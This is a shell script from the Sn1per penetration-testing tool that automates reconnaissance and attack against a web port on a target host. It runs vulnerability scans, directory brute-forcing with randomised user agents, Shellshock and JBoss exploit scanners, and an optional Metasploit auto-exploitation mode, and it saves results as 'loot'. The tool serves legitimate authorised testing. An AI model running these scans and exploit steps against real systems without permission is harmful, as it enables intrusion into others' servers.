if [[ "$REPORT" = "1" ]]; then
|
||||
if [[ ! -z "$WORKSPACE" ]]; then
|
||||
args="$args -w $WORKSPACE"
|
||||
LOOT_DIR=$INSTALL_DIR/loot/workspace/$WORKSPACE
|
||||
echo -e "$OKBLUE[*]$RESET Saving loot to $LOOT_DIR [$RESET${OKGREEN}OK${RESET}$OKBLUE]$RESET"
|
||||
mkdir -p $LOOT_DIR 2> /dev/null
|
||||
mkdir $LOOT_DIR/domains 2> /dev/null
|
||||
mkdir $LOOT_DIR/screenshots 2> /dev/null
|
||||
mkdir $LOOT_DIR/nmap 2> /dev/null
|
||||
mkdir $LOOT_DIR/notes 2> /dev/null
|
||||
mkdir $LOOT_DIR/reports 2> /dev/null
|
||||
mkdir $LOOT_DIR/scans 2> /dev/null
|
||||
mkdir $LOOT_DIR/output 2> /dev/null
|
||||
fi
|
||||
echo "$TARGET $MODE `date +"%Y-%m-%d %H:%M"`" 2> /dev/null >> $LOOT_DIR/scans/tasks.txt 2> /dev/null
|
||||
echo "sniper -t $TARGET -m $MODE -p $PORT --noreport $args" >> $LOOT_DIR/scans/$TARGET-$MODE.txt
|
||||
echo "sniper -t $TARGET -m $MODE --noreport $args" >> $LOOT_DIR/scans/running-$TARGET-webporthttp.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• Started Sn1per scan: http://$TARGET:$PORT [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
|
||||
fi
|
||||
sniper -t $TARGET -m $MODE -p $PORT --noreport $args | tee $LOOT_DIR/output/sniper-$TARGET-$MODE-$PORT-`date +"%Y%m%d%H%M"`.txt 2>&1
|
||||
exit
|
||||
fi
|
||||
echo -e "$OKRED ____ $RESET"
|
||||
echo -e "$OKRED _________ / _/___ ___ _____$RESET"
|
||||
echo -e "$OKRED / ___/ __ \ / // __ \/ _ \/ ___/$RESET"
|
||||
echo -e "$OKRED (__ ) / / // // /_/ / __/ / $RESET"
|
||||
echo -e "$OKRED /____/_/ /_/___/ .___/\___/_/ $RESET"
|
||||
echo -e "$OKRED /_/ $RESET"
|
||||
echo -e "$RESET"
|
||||
echo -e "$OKORANGE + -- --=[https://xerosecurity.com"
|
||||
echo -e "$OKORANGE + -- --=[Sn1per v$VER by @xer0dayz"
|
||||
echo -e ""
|
||||
echo -e ""
|
||||
echo -e " ; , "
|
||||
echo -e " ,; '. "
|
||||
echo -e " ;: :; "
|
||||
echo -e " :: :: "
|
||||
echo -e " :: :: "
|
||||
echo -e " ': : "
|
||||
echo -e " :. : "
|
||||
echo -e " ;' :: :: ' "
|
||||
echo -e " .' '; ;' '. "
|
||||
echo -e " :: :; ;: :: "
|
||||
echo -e " ; :;. ,;: :: "
|
||||
echo -e " :; :;: ,;\" :: "
|
||||
echo -e " ::. ':; ..,.; ;:' ,.;: "
|
||||
echo -e " \"'\"... '::,::::: ;: .;.;\"\"' "
|
||||
echo -e " '\"\"\"....;:::::;,;.;\"\"\" "
|
||||
echo -e " .:::.....'\"':::::::'\",...;::::;. "
|
||||
echo -e " ;:' '\"\"'\"\";.,;:::::;.'\"\"\"\"\"\" ':; "
|
||||
echo -e " ::' ;::;:::;::.. :; "
|
||||
echo -e " :: ,;:::::::::::;:.. :: "
|
||||
echo -e " ;' ,;;:;::::::::::::::;\";.. ':."
|
||||
echo -e " :: ;:\" ::::::\"\"\"':::::: \": ::"
|
||||
echo -e " :. :: ::::::; ::::::: : ; "
|
||||
echo -e " ; :: ::::::: ::::::: : ; "
|
||||
echo -e " ' :: ::::::....:::::' ,: ' "
|
||||
echo -e " ' :: :::::::::::::\" :: "
|
||||
echo -e " :: ':::::::::\"' :: "
|
||||
echo -e " ': \"\"\"\"\"\"\"' :: "
|
||||
echo -e " :: ;: "
|
||||
echo -e " ':; ;:\" "
|
||||
echo -e " -hrr- '; ,;' "
|
||||
echo -e " \"' '\" "
|
||||
echo -e " ''''$RESET"
|
||||
echo ""
|
||||
echo "$TARGET" >> $LOOT_DIR/domains/targets.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING TCP PORT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -sV -Pn --data-length=50 -p $PORT --open $TARGET -oX $LOOT_DIR/nmap/nmap-http-$TARGET.xml
|
||||
port_http=`grep 'portid="'$PORT'"' $LOOT_DIR/nmap/nmap-http-$TARGET.xml | grep open`
|
||||
if [[ -z "$port_http" ]]; then
|
||||
echo -e "$OKRED + -- --=[Port $PORT closed... skipping.$RESET"
|
||||
else
|
||||
echo -e "$OKORANGE + -- --=[Port $PORT opened... running tests...$RESET"
|
||||
echo "$TARGET" >> $LOOT_DIR/web/webhosts-unsorted.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING HTTP HEADERS AND METHODS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wget -qO- -T 1 --connect-timeout=5 --read-timeout=10 --tries=1 http://$TARGET:$PORT | perl -l -0777 -ne 'print $1 if /<title.*?>\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R http://$TARGET:$PORT | tee $LOOT_DIR/web/headers-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 -I -s -R -L http://$TARGET:$PORT | tee $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
curl --connect-timeout 5 --max-time 10 -I -s -R -X OPTIONS http://$TARGET:$PORT | grep Allow\: | tee $LOOT_DIR/web/http_options-$TARGET-port$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING META GENERATOR TAGS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep generator | cut -d\" -f4 2> /dev/null | tee $LOOT_DIR/web/webgenerator-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING COMMENTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | grep "<\!\-\-" 2> /dev/null | tee $LOOT_DIR/web/webcomments-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED DISPLAYING SITE LINKS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cat $LOOT_DIR/web/websource-http-$TARGET-$PORT.txt 2> /dev/null | egrep "\"" | cut -d\" -f2 | grep \/ | sort -u 2> /dev/null | tee $LOOT_DIR/web/weblinks-http-$TARGET-$PORT.txt 2> /dev/null
|
||||
if [[ "$WAFWOOF" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED CHECKING FOR WAF $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wafw00f http://$TARGET:$PORT | tee $LOOT_DIR/web/waf-$TARGET-http-port$PORT.txt 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WHATWEB" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING HTTP INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
whatweb -a 3 http://$TARGET:$PORT | tee $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw 2> /dev/null
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw > $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/whatweb-$TARGET-http-port$PORT.raw 2> /dev/null
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WIG" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING SERVER INFO $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python3 $PLUGINS_DIR/wig/wig.py -d -q http://$TARGET:$PORT | tee $LOOT_DIR/web/wig-$TARGET-http-$PORT
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-http-$PORT > $LOOT_DIR/web/wig-$TARGET-http-$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/wig-$TARGET-http-$PORT 2> /dev/null
|
||||
fi
|
||||
if [[ "$WEBTECH" = "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED GATHERING WEB FINGERPRINT $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
webtech -u http://$TARGET:$PORT | grep \- | cut -d- -f2- | tee $LOOT_DIR/web/webtech-$TARGET-http-port$PORT.txt
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SAVING SCREENSHOTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ $CUTYCAPT = "1" ]]; then
|
||||
if [[ $DISTRO == "blackarch" ]]; then
|
||||
/bin/CutyCapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
else
|
||||
cutycapt --url=http://$TARGET:$PORT --out=$LOOT_DIR/screenshots/$TARGET-port$PORT.jpg --insecure --max-wait=5000 2> /dev/null
|
||||
fi
|
||||
fi
|
||||
if [[ $WEBSCREENSHOT = "1" ]]; then
|
||||
cd $LOOT_DIR
|
||||
python2 $INSTALL_DIR/bin/webscreenshot.py -r chromium http://$TARGET:$PORT
|
||||
fi
|
||||
if [[ "$BURP_SCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING BURPSUITE SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$VERBOSE" == "1" ]]; then
|
||||
echo -e "$OKBLUE[$RESET${OKRED}i${RESET}$OKBLUE]$OKGREEN curl -X POST \"http://$BURP_HOST:$BURP_PORT/v0.1/scan\" -d \"{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}\"$RESET"
|
||||
fi
|
||||
curl -s -X POST "http://$BURP_HOST:$BURP_PORT/v0.1/scan" -d "{\"scope\":{\"include\":[{\"rule\":\"http://$TARGET:$PORT\"}],\"type\":\"SimpleScope\"},\"urls\":[\"http://$TARGET:$PORT\"]}"
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$NMAP_SCRIPTS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING NMAP SCRIPTS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nmap -A -Pn -T5 -p $PORT -sV --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse,/usr/share/nmap/scripts/vulners --script=http-vuln* $TARGET | tee $LOOT_DIR/output/nmap-$TARGET-port$PORT
|
||||
sed -r "s/</\&lh\;/g" $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null > $LOOT_DIR/output/nmap-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/output/nmap-$TARGET-port$PORT 2> /dev/null
|
||||
fi
|
||||
if [[ "$PASSIVE_SPIDER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2019-51-index?url=*.$TARGET&output=json" | jq -r .url | egrep -v "null" | tee $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$WAYBACKMACHINE" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING WAYBACK MACHINE URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://web.archive.org/cdx/search/cdx?url=*.$TARGET/*&output=text&fl=original&collapse=urlkey" | tee $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$HACKERTARGET" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED FETCHING HACKERTARGET URLS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
curl -sX GET "http://api.hackertarget.com/pagelinks/?q=http://$TARGET" | egrep -v "API count|no links found|input url is invalid|API count|no links found|input url is invalid" | tee $LOOT_DIR/web/hackertarget-http-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
if [[ "$BLACKWIDOW" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING ACTIVE WEB SPIDER & APPLICATION SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
touch $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cp $LOOT_DIR/web/spider-$TARGET.txt $LOOT_DIR/web/spider-$TARGET.bak 2>/dev/null
|
||||
blackwidow -u http://$TARGET:$PORT -l 3 -s y -v n 2> /dev/null
|
||||
cp -f /usr/share/blackwidow/"$TARGET"_"$PORT"/"$TARGET"_"$PORT"-*.txt $LOOT_DIR/web/ 2>/dev/null
|
||||
cat /usr/share/blackwidow/"$TARGET"_*/"$TARGET"_*-urls-sorted.txt > $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/waybackurls-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/hackertarget-*-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
cat $LOOT_DIR/web/passivespider-$TARGET.txt 2> /dev/null >> $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
sort -u $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null > $LOOT_DIR/web/spider-$TARGET.sorted 2>/dev/null
|
||||
mv $LOOT_DIR/web/spider-$TARGET.sorted $LOOT_DIR/web/spider-$TARGET.txt 2>/dev/null
|
||||
diff $LOOT_DIR/web/spider-$TARGET.bak $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2}' 2> /dev/null > $LOOT_DIR/web/spider-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/spider-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
touch $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
cp $LOOT_DIR/web/dirsearch-$TARGET.txt $LOOT_DIR/web/dirsearch-$TARGET.bak 2> /dev/null
|
||||
if [[ "$WEB_BRUTE_COMMONSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING COMMON FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_STEALTH -x 400,403,404,405,406,429,502,503,504 -F -e $WEB_BRUTE_EXTENSIONS -f -r -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_COMMON -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-common.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_FULLSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FULL FILE/DIRECTORY BRUTE FORCE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_FULL -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-full.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$WEB_BRUTE_EXPLOITSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE FOR VULNERABILITIES $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -x 400,403,404,405,406,429,502,503,504 -F -e * -t $THREADS --random-agents --plain-text-report=$LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > /dev/null && cat $LOOT_DIR/web/dirsearch-$TARGET.txt
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
gobuster -u http://$TARGET:$PORT -w $WEB_BRUTE_EXPLOITS -e | tee $LOOT_DIR/web/webbrute-$TARGET-http-port$PORT-exploits.txt
|
||||
fi
|
||||
fi
|
||||
if [[ "$DIRSEARCH" == "1" ]]; then
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null
|
||||
cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
sort -u $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null > $LOOT_DIR/web/dirsearch-$TARGET.sorted 2> /dev/null
|
||||
mv $LOOT_DIR/web/dirsearch-$TARGET.sorted $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null
|
||||
diff $LOOT_DIR/web/dirsearch-$TARGET.bak $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null | grep "> " 2> /dev/null | awk '{print $2 " " $3 " " $4}' 2> /dev/null > $LOOT_DIR/web/dirsearch-new-$TARGET.txt
|
||||
if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
|
||||
/bin/bash "$INSTALL_DIR/bin/slack.sh" postfile "$LOOT_DIR/web/dirsearch-new-$TARGET.txt"
|
||||
fi
|
||||
fi
|
||||
if [[ "$GOBUSTER" == "1" ]]; then
|
||||
sort -u $LOOT_DIR/web/webbrute-$TARGET-*.txt 2> /dev/null > $LOOT_DIR/web/webbrute-$TARGET.txt 2> /dev/null
|
||||
fi
|
||||
wget http://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-http.txt 2> /dev/null
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd -i $TARGET -p $PORT | tee $LOOT_DIR/web/clusterd-$TARGET-port$PORT.txt
|
||||
fi
|
||||
if [[ "$CMSMAP" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING CMSMAP $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cmsmap http://$TARGET:$PORT | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTa.txt
|
||||
echo ""
|
||||
cmsmap http://$TARGET/wordpress/ | tee $LOOT_DIR/web/cmsmap-$TARGET-http-port$PORTb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$WPSCAN" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
wpscan --url http://$TARGET:$PORT --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTa.txt
|
||||
echo ""
|
||||
wpscan --url http://$TARGET:$PORT/wordpress/ --no-update --disable-tls-checks 2> /dev/null | tee $LOOT_DIR/web/wpscan-$TARGET-http-port$PORTb.txt
|
||||
echo ""
|
||||
fi
|
||||
if [[ "$NIKTO" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
nikto -h http://$TARGET:$PORT -output $LOOT_DIR/web/nikto-$TARGET-http-port$PORT.txt
|
||||
sed -ir "s/</\&lh\;/g" $LOOT_DIR/web/nikto-$TARGET-http-port$PORT.txt
|
||||
fi
|
||||
cd $INSTALL_DIR
|
||||
if [[ "$CLUSTERD" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
clusterd -i $TARGET -p $PORT 2> /dev/null | tee $LOOT_DIR/web/clusterd-$TARGET-http-port$PORT.txt
|
||||
fi
|
||||
if [[ "$SHOCKER" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port $PORT | tee $LOOT_DIR/web/shocker-$TARGET-port$PORT.txt
|
||||
fi
|
||||
if [[ "$JEXBOSS" == "1" ]]; then
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED RUNNING JEXBOSS $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
cd /tmp/
|
||||
python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET:$PORT | tee $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw
|
||||
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw > $LOOT_DIR/web/jexboss-$TARGET-port$PORT.txt 2> /dev/null
|
||||
rm -f $LOOT_DIR/web/jexboss-$TARGET-port$PORT.raw 2> /dev/null
|
||||
cd $INSTALL_DIR
|
||||
fi
|
||||
if [[ $METASPLOIT_EXPLOIT = "1" ]]; then
|
||||
SSL="false"
|
||||
source modes/web_autopwn.sh
|
||||
fi
|
||||
source modes/osint_stage_2.sh
|
||||
fi
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo -e "$OKRED SCAN COMPLETE! $RESET"
|
||||
echo -e "${OKGREEN}====================================================================================${RESET}•x${OKGREEN}[`date +"%Y-%m-%d](%H:%M)"`${RESET}x•"
|
||||
echo "$TARGET" >> $LOOT_DIR/scans/updated.txt
|
||||
mv $LOOT_DIR/scans/running-$TARGET-webporthttp.txt $LOOT_DIR/scans/finished-$TARGET-webporthttp.txt 2> /dev/null
|
||||
rm -f $INSTALL_DIR/.fuse_* 2> /dev/null
|
||||
